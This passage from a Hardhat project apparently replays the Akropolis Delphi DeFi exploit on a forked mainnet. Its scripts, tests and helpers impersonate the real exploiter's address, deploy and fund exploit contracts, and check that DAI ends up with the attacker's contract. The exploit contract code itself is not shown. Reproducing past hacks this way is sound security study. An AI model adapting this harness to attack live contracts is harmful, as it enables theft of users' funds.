Fiddy.deploy(); 13 | console.log("Exploit deployed to:", fiddy.address); 14 | 15 | attacker.sendTransaction({ 16 | to: fiddy.address, 17 | value: 10 18 | }); 19 | 20 | await fiddy.test({gasLimit: 22000000, gasPrice: 99}); 21 | 22 | } 23 | 24 | main() 25 | .then(() => process.exit(0)) 26 | .catch(error => { 27 | console.error(error); 28 | process.exit(1); 29 | }); -------------------------------------------------------------------------------- /scripts/deploy.js: -------------------------------------------------------------------------------- 1 | const [addresses, forkFrom, impersonate] = require('../utils/utils.js'); 2 | 3 | async function main() { 4 | 5 | impersonate(addresses.exploiter); 6 | const attacker = ethers.provider.getSigner(addresses.exploiter); 7 | 8 | 9 | // We get the contract to deploy 10 | const Exploit = await ethers.getContractFactory("Exploit2"); 11 | //const val = ethers.utils.parseEther(1).toString(); 12 | const exploit = await Exploit.deploy(); 13 | console.log("Exploit deployed to:", exploit.address); 14 | 15 | attacker.sendTransaction({ 16 | to: exploit.address, 17 | value: 10 18 | }); 19 | 20 | await exploit.run(2, {gasLimit: 82000000, gasPrice: 99}); 21 | 22 | } 23 | 24 | main() 25 | .then(() => process.exit(0)) 26 | .catch(error => { 27 | console.error(error); 28 | process.exit(1); 29 | }); -------------------------------------------------------------------------------- /scripts/storage.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require("hardhat"); 2 | // const { IERC20 } = require("@openzeppelin/contracts/token/ERC20"); 3 | const hre = require("hardhat"); 4 | const [addresses, forkFrom, impersonate, readStorage] = require('../utils/utils.js'); 5 | 6 | async function main() { 7 | 8 | 9 | await readStorage(12, '0xe2307837524db8961c4541f943598654240bd62f'); 10 | 11 | // get the signer for sending the transaction: 12 | // impersonate(addresses.exploiter); 13 | // const attacker = ethers.provider.getSigner(addresses.SavingsModule); 14 | 15 | // token = await ethers.getContractAt("IUniswapV2ERC20", addresses.MaliciousToken); 16 | 17 | 18 | // const amountToken = await token.connect(attacker).callStatic.balanceOf(addresses.exploiter); 19 | 20 | // console.log(amountToken); 21 | 22 | } 23 | 24 | 25 | main() 26 | .then(() => process.exit(0)) 27 | .catch(error => { 28 | console.error(error); 29 | process.exit(1); 30 | }); -------------------------------------------------------------------------------- /test/test-fiddy.js.bak: -------------------------------------------------------------------------------- 1 | const { assert } = require("chai"); 2 | const [addresses, forkFrom, impersonate] = require('../utils/utils.js'); 3 | hre.tracer.nameTags["0x7967ada2a32a633d5c055e2e075a83023b632b4e"] = "Curve yPool"; 4 | hre.tracer.nameTags["0x73fC3038B4cD8FfD07482b92a52Ea806505e5748"] = "SavingsModule"; 5 | hre.tracer.nameTags["0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3"] = "Curve yDeposit"; 6 | hre.tracer.nameTags["0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51"] = "Curve ySwap"; 7 | hre.tracer.nameTags["0x0000000000000000000000000000000000000000"] = "Zero Address"; 8 | hre.tracer.nameTags["0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01"] = "yDai"; 9 | hre.tracer.nameTags["0x6b175474e89094c44da98b954eedeac495271d0f"] = "Dai"; 10 | hre.tracer.nameTags["0xd6ad7a6750a7593e092a9b218d66c0a814a3436e"] = "yUSDC"; 11 | hre.tracer.nameTags["0x83f798e925bcd4017eb265844fddabb448f1707d"] = "yUSDT"; 12 | hre.tracer.nameTags["0x73a052500105205d34daf004eab301916da8190f"] = "yTUSD"; 13 | hre.tracer.nameTags["0xdf5e0e81dff6faf3a7e52ba697820c5e32d806a8"] = "yCRV"; 14 | hre.tracer.nameTags["0x2afa3c8bf33e65d5036cd0f1c3599716894b3077"] = "dyPool"; 15 | hre.tracer.nameTags["0xFA712EE4788C042e2B7BB55E6cb8ec569C4530c1"] = "yCRVGuage"; 16 | 17 | describe("Exploit", function() { 18 | 19 | it("Should return the new greeting once it's changed", async function() { 20 | 21 | forkFrom(11242695); 22 | 23 | impersonate(addresses.exploiter); 24 | const attacker = ethers.provider.getSigner(addresses.exploiter); 25 | 26 | // We get the contract to deploy 27 | const Fiddy = await ethers.getContractFactory("Fiddy"); 28 | //const val = ethers.utils.parseEther(1).toString(); 29 | const fiddy = await Fiddy.deploy(); 30 | console.log("Exploit deployed to:", fiddy.address); 31 | 32 | attacker.sendTransaction({ 33 | to: fiddy.address, 34 | value: 10 35 | }); 36 | 37 | await fiddy.test({gasLimit: 22000000, gasPrice: 99}); 38 | 39 | }); 40 | 41 | 42 | }); 43 | -------------------------------------------------------------------------------- /test/test.js: -------------------------------------------------------------------------------- 1 | const { assert } = require("chai"); 2 | const [addresses, forkFrom, impersonate] = require('../utils/utils.js'); 3 | 4 | hre.tracer.nameTags["0x7967ada2a32a633d5c055e2e075a83023b632b4e"] = "Curve yPool"; 5 | hre.tracer.nameTags["0x73fC3038B4cD8FfD07482b92a52Ea806505e5748"] = "SavingsModule"; 6 | hre.tracer.nameTags["0xbBC81d23Ea2c3ec7e56D39296F0cbB648873a5d3"] = "Curve yDeposit"; 7 | hre.tracer.nameTags["0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51"] = "Curve ySwap"; 8 | hre.tracer.nameTags["0x0000000000000000000000000000000000000000"] = "Zero Address"; 9 | hre.tracer.nameTags["0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01"] = "yDai"; 10 | hre.tracer.nameTags["0x6b175474e89094c44da98b954eedeac495271d0f"] = "Dai"; 11 | hre.tracer.nameTags["0xd6ad7a6750a7593e092a9b218d66c0a814a3436e"] = "yUSDC"; 12 | hre.tracer.nameTags["0x83f798e925bcd4017eb265844fddabb448f1707d"] = "yUSDT"; 13 | hre.tracer.nameTags["0x73a052500105205d34daf004eab301916da8190f"] = "yTUSD"; 14 | hre.tracer.nameTags["0xdf5e0e81dff6faf3a7e52ba697820c5e32d806a8"] = "yCRV"; 15 | hre.tracer.nameTags["0x2afa3c8bf33e65d5036cd0f1c3599716894b3077"] = "dyPool"; 16 | hre.tracer.nameTags["0xFA712EE4788C042e2B7BB55E6cb8ec569C4530c1"] = "yCRVGuage"; 17 | hre.tracer.nameTags["0x5FbDB2315678afecb367f032d93F642f64180aa3"] = "ExploitContract"; 18 | hre.tracer.nameTags["0xa478c2975ab1ea89e8196811f51a7b7ade33eb11"] = "dai/eth LP"; 19 | hre.tracer.nameTags["0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d"] = "aDai (aave)"; 20 | 21 | describe("Akropolis Delphi exploit", async () => { 22 | let dai; 23 | let dyPool; 24 | let exploit; 25 | let attacker; 26 | let tx; 27 | 28 | before(async () => { 29 | impersonate(addresses.exploiter); 30 | attacker = ethers.provider.getSigner(addresses.exploiter); 31 | dai = await ethers.getContractAt("IUniswapV2ERC20", addresses.dai); 32 | dyPool = await ethers.getContractAt("IUniswapV2ERC20", addresses.dyPool); 33 | const Exploit = await ethers.getContractFactory("Exploit"); 34 | exploit = await Exploit.deploy(); 35 | attacker.sendTransaction({ 36 | to: exploit.address, 37 | value: 10 38 | }); 39 | }); 40 | 41 | 42 | // const tx = await exploit.run(0, {gasLimit: 82000000, gasPrice: 102}); 43 | describe("Preparation", async () => { 44 | 45 | 46 | 47 | 48 | it("contract dai balance is zero", async () => { 49 | const amountDai = await dai.connect(attacker).callStatic.balanceOf(exploit.address); 50 | assert.equal(amountDai, 0); 51 | 52 | }); 53 | it("contract dai balance is greater than $20,000 dai", async () => { 54 | tx = await exploit.run(0, {gasLimit: 82000000, gasPrice: 102}); 55 | const amountDai = await dai.connect(attacker).callStatic.balanceOf(exploit.address); 56 | // console.log(ethers.BigNumber.from("0x2a")); 57 | assert(amountDai.gt(ethers.utils.parseEther("20"))); 58 | // const receipt = await tx.wait(); 59 | 60 | // const event = receipt.events.find(x => x.event === "DyPoolBalance"); 61 | 62 | // console.log(receipt.events); // 1 63 | 64 | }); 65 | 66 | 67 | 68 | 69 | 70 | }); 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | }); 82 | 83 | // console.log(tx.hash); 84 | // const receipt = await ethers.provider.getTransactionReceipt(tx.hash); 85 | // for(i = 0; i< receipt.logs.length; i++) { 86 | // if(receipt.logs[i].address == '0x73fC3038B4cD8FfD07482b92a52Ea806505e5748') { 87 | // console.log("Entry: ", receipt.logs[i].topics); 88 | // console.log("Data: ", parseInt(receipt.logs[i].data)); 89 | // } 90 | // } 91 | // console.log( await ethers.provider.getTransactionReceipt(tx.hash)); 92 | //await exploit.run({gasLimit: 82000000, gasPrice: 99}); 93 | // 5,000,000.000000000000000000 94 | -------------------------------------------------------------------------------- /utils/utils.js: -------------------------------------------------------------------------------- 1 | const hre = require("hardhat"); 2 | // from: https://github.com/MrToph/replaying-ethereum-hacks/blob/master/test/utils/fork.ts 3 | const forkFrom = async (blockNumber) => { 4 | await hre.network.provider.request({ 5 | method: "hardhat_reset", 6 | params: [ 7 | { 8 | forking: { 9 | jsonRpcUrl: hre.config.networks.hardhat.forking.url, 10 | blockNumber: blockNumber, 11 | }, 12 | }, 13 | ], 14 | }); 15 | }; 16 | 17 | const addresses = { 18 | SavingsModule: "0x73fc3038b4cd8ffd07482b92a52ea806505e5748", 19 | exploiter: "0x9f26ae5cd245bfeeb5926d61497550f79d9c6c1c", 20 | dai: "0x6b175474e89094c44da98b954eedeac495271d0f", 21 | AkroYPool: "0x7967ada2a32a633d5c055e2e075a83023b632b4e", 22 | dyPool: "0x2afa3c8bf33e65d5036cd0f1c3599716894b3077", 23 | } 24 | 25 | const impersonate = async function getImpersonatedSigner(address) { 26 | await hre.network.provider.request({ 27 | method: "hardhat_impersonateAccount", 28 | params: [address] 29 | }); 30 | return ethers.provider.getSigner(address); 31 | } 32 | 33 | const readStorage = async (n, address) => { 34 | 35 | for(i = 0; i